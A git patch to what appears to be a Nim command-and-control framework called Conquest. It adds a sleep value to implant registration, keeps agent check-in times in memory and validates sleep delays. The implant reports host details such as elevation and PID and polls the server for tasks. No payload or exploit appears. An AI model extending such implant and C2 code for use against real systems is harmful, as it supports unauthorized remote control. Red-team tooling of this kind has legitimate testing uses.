From 118e9eadd2e320741fe7bd61d8011feba927e846 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Thu, 29 May 2025 14:19:55 +0200 Subject: [PATCH] Prevent database locking by not updating latest checkin in database and instead storing it only in memory --- agents/monarch/http.nim | 3 ++- agents/monarch/nim.cfg | 2 +- server/agent/agent.nim | 6 ++++-- server/agent/commands/sleep.nim | 6 +++++- server/listener/api.nim | 3 ++- server/types.nim | 25 +++++++++++++++++++++++-- server/utils.nim | 6 +++--- 7 files changed, 40 insertions(+), 11 deletions(-) diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index 8543d77..0d19691 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -18,7 +18,8 @@ proc register*(config: AgentConfig): string = "os": getOSVersion(), "process": getProcessExe(), "pid": getProcessId(), - "elevated": isElevated() + "elevated": isElevated(), + "sleep": config.sleep } echo $body diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg index d57a63a..beea462 100644 --- a/agents/monarch/nim.cfg +++ b/agents/monarch/nim.cfg @@ -2,4 +2,4 @@ -d:ListenerUuid="KPDHWZNT" -d:ListenerIp="localhost" -d:ListenerPort=7777 --d:SleepDelay=10 +-d:SleepDelay=0 diff --git a/server/agent/agent.nim b/server/agent/agent.nim index a8722ee..c844c8f 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -30,6 +30,7 @@ proc agentList*(cq: Conquest, listener: string) = # If no argument is passed via -n, list all agents, otherwise only display agents connected to a specific listener if listener == "": cq.drawTable(cq.dbGetAllAgents()) + else: # Check if listener exists if not cq.dbListenerExists(listener.toUpperAscii): @@ -38,6 +39,7 @@ proc agentList*(cq: Conquest, listener: string) = cq.drawTable(cq.dbGetAllAgentsByListener(listener.toUpperAscii)) + # Display agent properties and details proc agentInfo*(cq: Conquest, name: string) = # Check if agent supplied via -n parameter exists in database @@ -202,8 +204,8 @@ proc getTasks*(listener, agent: string): JsonNode = # Update the last check-in date for the accessed agent cq.agents[agent.toUpperAscii].latestCheckin = now() - if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): - return nil + # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): + # return nil # Return tasks in JSON format return %cq.agents[agent.toUpperAscii].tasks.filterIt(it.status != Completed) diff --git a/server/agent/commands/sleep.nim b/server/agent/commands/sleep.nim index a6bb4a7..89db41b 100644 --- a/server/agent/commands/sleep.nim +++ b/server/agent/commands/sleep.nim @@ -4,9 +4,13 @@ import ../../db/database proc taskExecuteSleep*(cq: Conquest, delay: int) = + if delay < 0: + cq.writeLine(fgRed, styleBright, "[-] Invalid sleep delay value.") + return + # Update 'sleep' value in database if not cq.dbUpdateSleep(cq.interactAgent.name, delay): - return + return # Create a new task let diff --git a/server/listener/api.nim b/server/listener/api.nim index 5427c96..3388da9 100644 --- a/server/listener/api.nim +++ b/server/listener/api.nim @@ -29,7 +29,8 @@ proc register*(ctx: Context) {.async.} = "os": "operating-system", "process": "agent.exe", "pid": 1234, - "elevated": false + "elevated": false. + "sleep": 10 } ]# diff --git a/server/types.nim b/server/types.nim index 698c1b7..5b24c02 100644 --- a/server/types.nim +++ b/server/types.nim @@ -1,6 +1,6 @@ import prompt import prologue -import tables +import tables, sequtils import times import terminal @@ -25,6 +25,19 @@ type TaskResult* = string + #[ + TaskResult*[T] = ref object + data*: T + + Task*[T] = ref object + id*: string + agent*: string + command*: TaskCommand + args*: seq[string] + result*: TaskResult[T] + status*: TaskStatus + ]# + Task* = ref object id*: string agent*: string @@ -42,6 +55,7 @@ type process*: string pid*: int elevated*: bool + sleep*: int Agent* = ref object name*: string @@ -60,6 +74,7 @@ type firstCheckin*: DateTime latestCheckin*: DateTime +# TODO: Take sleep value from agent registration data (set via nim.cfg file) proc newAgent*(name, listener: string, firstCheckin: DateTime, postData: AgentRegistrationData): Agent = var agent = new Agent agent.name = name @@ -72,7 +87,7 @@ proc newAgent*(name, listener: string, firstCheckin: DateTime, postData: AgentRe agent.ip = postData.ip agent.os = postData.os agent.elevated = postData.elevated - agent.sleep = 10 + agent.sleep = postData.sleep agent.jitter = 0.2 agent.tasks = @[] agent.firstCheckin = firstCheckin @@ -136,6 +151,12 @@ proc delListener*(cq: Conquest, listenerName: string) = proc delAgent*(cq: Conquest, agentName: string) = cq.agents.del(agentName) +proc getAgentsAsSeq*(cq: Conquest): seq[Agent] = + var agents: seq[Agent] = @[] + for agent in cq.agents.values: + agents.add(agent) + return agents + proc initConquest*(dbPath: string): Conquest = var cq = new Conquest var prompt = Prompt.init() diff --git a/server/utils.nim b/server/utils.nim index 402bd4b..5851684 100644 --- a/server/utils.nim +++ b/server/utils.nim @@ -71,7 +71,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) = # Column headers and widths let headers = @["Name", "Address", "Port", "Protocol", "Agents"] - let widths = @[10, 17, 7, 10, 8] + let widths = @[8, 15, 5, 8, 6] let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault)) cq.writeLine(border(topLeft, topMid, topRight, widths)) @@ -134,7 +134,7 @@ proc timeSince*(agent: Agent, timestamp: DateTime): Cell = proc drawTable*(cq: Conquest, agents: seq[Agent]) = let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"] - let widths = @[10, 17, 15, 15, 18, 15, 7, 10] + let widths = @[8, 15, 15, 15, 16, 15, 5, 13] let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault)) cq.writeLine(border(topLeft, topMid, topRight, widths)) @@ -154,7 +154,7 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) = Cell(text: a.os), Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite), Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite), - a.timeSince(a.latestCheckin) + a.timeSince(cq.agents[a.name].latestCheckin) ] # Highlight agents running within elevated processes